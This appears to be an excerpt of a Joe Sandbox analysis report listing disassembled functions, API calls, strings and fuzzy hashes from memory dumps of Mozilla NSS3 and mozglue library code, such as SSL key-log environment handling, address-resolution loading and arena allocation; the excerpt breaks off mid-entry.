API String ID: 759471828-0
Opcode ID: 0c23cc2b79868d37e9cfa7c1565e2240af8ac8b7908e851ccb33923d378a9b70
Instruction ID: b6e588e02fd3c9bfffab67ac6aacd56bea1e30f2994c29c3a8f8f8f8643da182
Opcode Fuzzy Hash: 0c23cc2b79868d37e9cfa7c1565e2240af8ac8b7908e851ccb33923d378a9b70
Instruction Fuzzy Hash: 7EB1F171A012459FDB00EF68D854AAE77B8FF09319F044128ED1997B00EB30E965CFA2

Function 6CBD6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CBD6BF7), ref: 6CBD6EB6

Part of subcall function 6CB31240: TlsGetValue.KERNEL32(00000040,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB31267
Part of subcall function 6CB31240: EnterCriticalSection.KERNEL32(?,?,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB3127C
Part of subcall function 6CB31240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB31291
Part of subcall function 6CB31240: PR_Unlock.NSS3(?,?,?,?,6CB3116C,NSPR_LOG_MODULES), ref: 6CB312A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CC7FC0A,6CBD6BF7), ref: 6CBD6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBD6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CBD6EFC
PR_NewLock.NSS3 ref: 6CBD6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBD6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CBD6BF7), ref: 6CBD6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CBD6BF7), ref: 6CBD6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CBD6BF7), ref: 6CBD6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CBD6BF7), ref: 6CBD6FFD

Strings

SSLKEYLOGFILE, xrefs: 6CBD6EB1
SSLFORCELOCKS, xrefs: 6CBD6F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CBD6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CBD6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CBD6FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CBD6EF7

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 31bc29bb96cddcce3f0f5c33960dba2742da81a76f387469b5d89d4f584d6399
Instruction ID: 8bf2ffbc6c8f7b6fbb45a9982b5edda97cd10950c00db9783f0e5c37ee997bd8
Opcode Fuzzy Hash: 31bc29bb96cddcce3f0f5c33960dba2742da81a76f387469b5d89d4f584d6399
Instruction Fuzzy Hash: 91A13673E65CC08AEB00466CDC053C936B1AB87379F1A47A9E832D7ED8DBB5B4418342

Function 6CB98E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CB98E01,00000000,6CB99060,6CCA0B64), ref: 6CB98E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CB98E01,00000000,6CB99060,6CCA0B64), ref: 6CB98E9E
PORT_ArenaAlloc_Util.NSS3(6CCA0B64,00000001,?,?,?,?,6CB98E01,00000000,6CB99060,6CCA0B64), ref: 6CB98EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CB98E01,00000000,6CB99060,6CCA0B64), ref: 6CB98EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CB98E01,00000000,6CB99060,6CCA0B64), ref: 6CB98ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CB98E01,00000000,6CB99060,6CCA0B64), ref: 6CB98EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CB98E01), ref: 6CB98EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCA0B64,6CCA0B64), ref: 6CB98F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CB98F3F

Part of subcall function 6CB9A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CB9A421,00000000,00000000,6CB99826), ref: 6CB9A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB9904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CB98E76

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 54cfdbcf38a1c3427627f6f7c571e2d33effa66ec93c82471e4217a4ff9c0fc7
Instruction ID: 2afe0a62a75c0b8950e5f74c38e7c63db0f3fd044d943c4fa2c613a2693037c7
Opcode Fuzzy Hash: 54cfdbcf38a1c3427627f6f7c571e2d33effa66ec93c82471e4217a4ff9c0fc7
Instruction Fuzzy Hash: 1C61AFB5D001459FDF10CF56CC80AAFBBB9EF85358F144529DC29A7700E736A925CBA1

Function 6CB48E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB48E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CB48E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB48EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CC718D0,?), ref: 6CB48F03
PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CB48F19
PL_FreeArenaPool.NSS3(?), ref: 6CB48F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB48F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB48F65
PL_FinishArenaPool.NSS3(?), ref: 6CB48FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CB48FFE
PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CB49012
PL_FreeArenaPool.NSS3(?), ref: 6CB49024
PL_FinishArenaPool.NSS3(?), ref: 6CB4902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CB4903E

Strings

security, xrefs: 6CB48EE7

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 765afea0a6ad669dc3a7722dba922c4b5847d29e281827057ee018d59333bde2
Instruction ID: 42bbdbb786e064257e5a556af1f3abdd123b41ad97f1db10384c362573f9493b
Opcode Fuzzy Hash: 765afea0a6ad669dc3a7722dba922c4b5847d29e281827057ee018d59333bde2
Instruction Fuzzy Hash: C2514AB150C380ABD7109A99DC40FAF33A8EB8575CF44482EF998D7B44E732D8099793

Function 6CC0CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC0CC7B), ref: 6CC0CD7A

Part of subcall function 6CC0CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CB7C1A8,?), ref: 6CC0CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC0CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC0CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CC0CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC0CD8E

Part of subcall function 6CB305C0: PR_EnterMonitor.NSS3 ref: 6CB305D1
Part of subcall function 6CB305C0: PR_ExitMonitor.NSS3 ref: 6CB305EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CC0CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC0CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC0CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC0CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CC0CE48

Strings

getaddrinfo, xrefs: 6CC0CD88, 6CC0CDF9
wship6.dll, xrefs: 6CC0CDE3
getnameinfo, xrefs: 6CC0CDB2, 6CC0CE23
ws2_32.dll, xrefs: 6CC0CD75
freeaddrinfo, xrefs: 6CC0CD9F, 6CC0CE10

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 516a4855d044a8988c82a7c1357e92255efaff3475c7d2aa266c5d2cb797518a
Instruction ID: 84feebf64bea1b9a6058c46c18a2be25c8fb43cbe41b760febe434db107067e5
Opcode Fuzzy Hash: 516a4855d044a8988c82a7c1357e92255efaff3475c7d2aa266c5d2cb797518a
Instruction Fuzzy Hash: DF11D6B6F0227156DB11AAB97C14A9E3978DF0224CF181534E819D2F41FB22C908C7F3

Function 6CA39590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA231C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA23217
Part of subcall function 6CA231C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA23236
Part of subcall function 6CA231C0: FreeLibrary.KERNEL32 ref: 6CA2324B
Part of subcall function 6CA231C0: __Init_thread_footer.LIBCMT ref: 6CA23260
Part of subcall function 6CA231C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA2327F
Part of subcall function 6CA231C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA2328E
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA232AB
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA232D1
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA232E5
Part of subcall function 6CA231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA232F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA39675
__Init_thread_footer.LIBCMT ref: 6CA39697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA39707
__Init_thread_footer.LIBCMT ref: 6CA3971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA39773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA397B7
FreeLibrary.KERNEL32 ref: 6CA397D0
FreeLibrary.KERNEL32 ref: 6CA397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA39824

Strings

ntdll.dll, xrefs: 6CA396E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA39670
NtMapViewOfSection, xrefs: 6CA39701
MapViewOfFileNuma2, xrefs: 6CA397B1

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 2782b96470b9182d5c1b1b3449489e8248dd3f0692d2207a5077d317740f6d17
Instruction ID: 334ed0baab240515996ea6de702e6d46bed7efdc64b8696b712678e630ec759f
Opcode Fuzzy Hash: 2782b96470b9182d5c1b1b3449489e8248dd3f0692d2207a5077d317740f6d17
Instruction Fuzzy Hash: 2B61C1706003179BDF088FF4FD98A9E7BB0EB4A314F048119E95983690EB309896CBA1

Function 6CBA6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CC71DE0,?), ref: 6CBA6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBA6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CBA6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CBA6D82
DER_GetInteger_Util.NSS3(?), ref: 6CBA6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBA6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CBA6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CBA6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CBA6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CBA6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBA7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CBA7033
free.MOZGLUE(?), ref: 6CBA703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CBA7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CBA7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CBA70AF

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 8bfd9253993ac39af361da893e4505d826664ff9ed2baaedecefe7b36673ebcd
Instruction ID: b9d20461b37e494993cce79dcec06117a1e9c8ac8c17d1e9b3f8d3a833ca03d1
Opcode Fuzzy Hash: 8bfd9253993ac39af361da893e4505d826664ff9ed2baaedecefe7b36673ebcd
Instruction Fuzzy Hash: 39A1F7F190C2C09BEB108BA8DC45B5E32A4DB8530CF244939E9D9DBA81F775D84A8793

Function 6CB6AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6AF39
PR_Unlock.NSS3(?,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6AF69
TlsGetValue.KERNEL32 ref: 6CB6B06B
EnterCriticalSection.KERNEL32(?), ref: 6CB6B083
PR_Unlock.NSS3(?), ref: 6CB6B0A4
TlsGetValue.KERNEL32 ref: 6CB6B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CB6B0D9
PR_Unlock.NSS3 ref: 6CB6B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB6B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB6B182

Part of subcall function 6CB9FAB0: free.MOZGLUE(?,-00000001,?,?,6CB3F673,00000000,00000000), ref: 6CB9FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB6B177

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CB4AB95,00000000,?,00000000,00000000,00000000), ref: 6CB6B1C2

Part of subcall function 6CB91560: TlsGetValue.KERNEL32(00000000,?,6CB60844,?), ref: 6CB9157A
Part of subcall function 6CB91560: EnterCriticalSection.KERNEL32(?,?,?,6CB60844,?), ref: 6CB9158F
Part of subcall function 6CB91560: PR_Unlock.NSS3(?,?,?,?,6CB60844,?), ref: 6CB915B2

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 8dd8e0f0756640aa97645dd0e0e0d4ae6888c596cfaef84d14629c5d7d4dda3a
Instruction ID: 43ec0af47b9b854c3348947be343fe88c067c18ab8e4a12f2ad8d4b35dd88c37
Opcode Fuzzy Hash: 8dd8e0f0756640aa97645dd0e0e0d4ae6888c596cfaef84d14629c5d7d4dda3a
Instruction Fuzzy Hash: E6A1B0B1D00245AFEF009FA5DC45BEEBBB4EF09308F144124E909A7B51E731E959CBA2

Function 6CBBAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBBADB1

Part of subcall function 6CB9BE30: SECOID_FindOID_Util.NSS3(6CB5311B,00000000,?,6CB5311B,?), ref: 6CB9BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBBADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBBAE08

Part of subcall function 6CB9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC718D0,?), ref: 6CB9B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBBAE25
PL_FreeArenaPool.NSS3 ref: 6CBBAE63
PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CBBAE4D

Part of subcall function 6CAC4C70: TlsGetValue.KERNEL32(?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4C97
Part of subcall function 6CAC4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4CB0
Part of subcall function 6CAC4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAC3921,6CCA14E4,6CC0CC70), ref: 6CAC4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBBAE93
PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0), ref: 6CBBAECC
PL_FreeArenaPool.NSS3 ref: 6CBBAEDE
PL_FinishArenaPool.NSS3 ref: 6CBBAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBBAEF5
PL_FinishArenaPool.NSS3 ref: 6CBBAF16

Strings

security, xrefs: 6CBBADEE

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 2a7d6a7dcefac81e54ff5efe40819803c949ccdb54553fa3f994cb0a86773ba1
Instruction ID: 611c0d5f9f9ff50f39966cbab1d13c998dd6295b8cc09f11007e8e18e82af0b8
Opcode Fuzzy Hash: 2a7d6a7dcefac81e54ff5efe40819803c949ccdb54553fa3f994cb0a86773ba1
Instruction Fuzzy Hash: D34129B2D04290A7EB214A189C84BBE32B8EF4271CF640525F854E7F81FF359949CAD3

Function 6CB58DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CB58E22
EnterCriticalSection.KERNEL32(?), ref: 6CB58E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CB58E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CB58E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB58E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB58EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CB58EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB58EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CB58F00
free.MOZGLUE(?), ref: 6CB58F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CB58F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CB58F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CB58F5B
PR_Unlock.NSS3(?), ref: 6CB58F72
PR_Unlock.NSS3(?), ref: 6CB58F82

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 4520f8ab20fa2f97929efbafe51016fc6979eab1446493238b591ac7347c114f
Instruction ID: a02e119e832ca87624d24d0bf4aa2459f66565fc8d028439fe7f47454b4490a5
Opcode Fuzzy Hash: 4520f8ab20fa2f97929efbafe51016fc6979eab1446493238b591ac7347c114f
Instruction Fuzzy Hash: 435126B2E40255AFEB009F68CC8496EB7B9EF45358F94452AEC089B700E732ED65C7D1

Function 6CC50FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CC51000

Part of subcall function 6CC09BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB31A48), ref: 6CC09BB3
